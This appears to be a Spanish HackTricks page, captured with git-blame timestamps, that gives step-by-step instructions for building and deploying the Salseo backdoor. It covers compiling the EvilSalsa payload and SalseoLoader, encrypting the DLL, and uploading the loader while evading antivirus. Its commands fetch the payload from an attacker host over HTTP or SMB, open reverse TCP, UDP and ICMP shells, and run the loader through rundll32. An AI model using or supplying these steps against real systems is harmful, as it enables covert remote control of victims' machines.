2023-06-13 09:01:22 +00:00
# Salseo
2022-04-28 16:01:33 +00:00
< details >
2023-12-30 11:53:17 +00:00
< summary > < strong > Aprende hacking en AWS de cero a héroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-30 11:53:17 +00:00
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** , consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Consigue el [**merchandising oficial de PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubre [**La Familia PEASS** ](https://opensea.io/collection/the-peass-family ), nuestra colección de [**NFTs** ](https://opensea.io/collection/the-peass-family ) exclusivos
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **sígueme** en **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2023-06-03 01:46:23 +00:00
## Compilando los binarios
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader** . Necesitarás **Visual Studio** instalado para compilar el código.
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (si Windows soporta x64, compílalos para esas arquitecturas).
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña ** "Build"** a la izquierda en ** "Platform Target".**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
(**Si no encuentras estas opciones, presiona en la pestaña "Project"** y luego en ** "\<Project Name> Properties"**)
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
![](< .. / . gitbook / assets / image ( 132 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
2020-07-15 15:43:14 +00:00
2022-09-27 00:14:52 +00:00
![](< .. / . gitbook / assets / image ( 1 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
## Preparar el Backdoor
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Primero que todo, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly** :
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### **Python**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
2022-08-04 20:47:35 +00:00
### Windows
2023-06-03 01:46:23 +00:00
```
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2023-12-30 11:53:17 +00:00
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
2023-06-03 01:46:23 +00:00
2023-10-05 15:45:25 +00:00
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
2023-06-03 01:46:23 +00:00
2023-12-30 11:53:17 +00:00
## **Ejecuta la puerta trasera**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### **Obteniendo un shell TCP inverso (descargando la dll codificada a través de HTTP)**
2023-06-03 01:46:23 +00:00
2023-12-30 11:53:17 +00:00
Recuerda iniciar un nc como el oyente del shell inverso y un servidor HTTP para servir el evilsalsa codificado.
2021-10-18 11:21:18 +00:00
```
2023-06-03 01:46:23 +00:00
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
2020-07-15 15:43:14 +00:00
```
2023-12-30 11:53:17 +00:00
### **Obteniendo una reverse shell UDP (descargando dll codificada a través de SMB)**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Recuerda iniciar un nc como el oyente de la reverse shell, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
2023-06-03 01:46:23 +00:00
```
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2023-12-30 11:53:17 +00:00
### **Obteniendo una shell inversa ICMP (dll codificada ya dentro de la víctima)**
2023-06-03 01:46:23 +00:00
2023-12-30 11:53:17 +00:00
**Esta vez necesitas una herramienta especial en el cliente para recibir la shell inversa. Descarga:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2023-06-03 01:46:23 +00:00
2023-12-30 11:53:17 +00:00
#### **Desactivar Respuestas ICMP:**
2023-06-03 01:46:23 +00:00
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Ejecutar el cliente:
```
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2023-12-30 11:53:17 +00:00
#### Dentro de la víctima, ejecutemos la cosa del salseo:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2023-08-15 18:30:10 +00:00
## Compilando SalseoLoader como DLL exportando la función principal
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
Abre el proyecto SalseoLoader usando Visual Studio.
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### Añade antes de la función principal: \[DllExport]
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
![](< .. / . gitbook / assets / image ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
### Instala DllExport para este proyecto
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
#### **Herramientas** --> **Administrador de Paquetes NuGet** --> **Administrar Paquetes NuGet para la Solución...**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
![](< .. / . gitbook / assets / image ( 3 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
#### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
![](< .. / . gitbook / assets / image ( 4 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-08-15 18:30:10 +00:00
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### **Desinstala** DllExport
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
2020-07-15 15:43:14 +00:00
2023-06-14 11:51:06 +00:00
![](< .. / . gitbook / assets / image ( 5 ) ( 1 ) ( 1 ) ( 2 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### **Sal de Visual Studio y ejecuta DllExport\_configure**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Simplemente **sal** de Visual Studio
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport\_Configure.bat**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport** ) y presiona **Aplicar**
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
![](< .. / . gitbook / assets / image ( 7 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### **Abre el proyecto de nuevo con Visual Studio**
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
**\[DllExport]** ya no debería estar marcado como error
2020-07-15 15:43:14 +00:00
2023-06-13 10:21:10 +00:00
![](< .. / . gitbook / assets / image ( 8 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### Construye la solución
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Selecciona **Tipo de Salida = Biblioteca de Clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de Clases)
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . gitbook / assets / image ( 10 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Selecciona la **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de la plataforma = x64)
2020-07-15 15:43:14 +00:00
2022-09-02 15:27:38 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Para **construir** la solución: Construir --> Construir Solución (Dentro de la consola de Salida aparecerá la ruta de la nueva DLL)
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
### Prueba la Dll generada
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
Copia y pega la Dll donde quieras probarla.
2020-07-15 15:43:14 +00:00
2023-06-03 01:46:23 +00:00
Ejecuta:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rundll32.exe SalseoLoader.dll,main
```
2023-06-03 01:46:23 +00:00
Si no aparece ningún error, ¡probablemente tienes una DLL funcional!
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
## Obtener una shell usando la DLL
2020-07-15 15:43:14 +00:00
2023-12-30 11:53:17 +00:00
No olvides usar un **servidor HTTP** y configurar un **listener nc**
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### Powershell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
2022-08-04 20:47:35 +00:00
### CMD
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2022-04-28 16:01:33 +00:00
< details >
2023-12-30 11:53:17 +00:00
< summary > < strong > Aprende hacking en AWS de cero a héroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
Otras formas de apoyar a HackTricks:
2022-04-28 16:01:33 +00:00
2023-12-30 11:53:17 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Consigue el [**merchandising oficial de PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubre [**La Familia PEASS** ](https://opensea.io/collection/the-peass-family ), nuestra colección de [**NFTs** ](https://opensea.io/collection/the-peass-family ) exclusivos
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **sigue** a **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >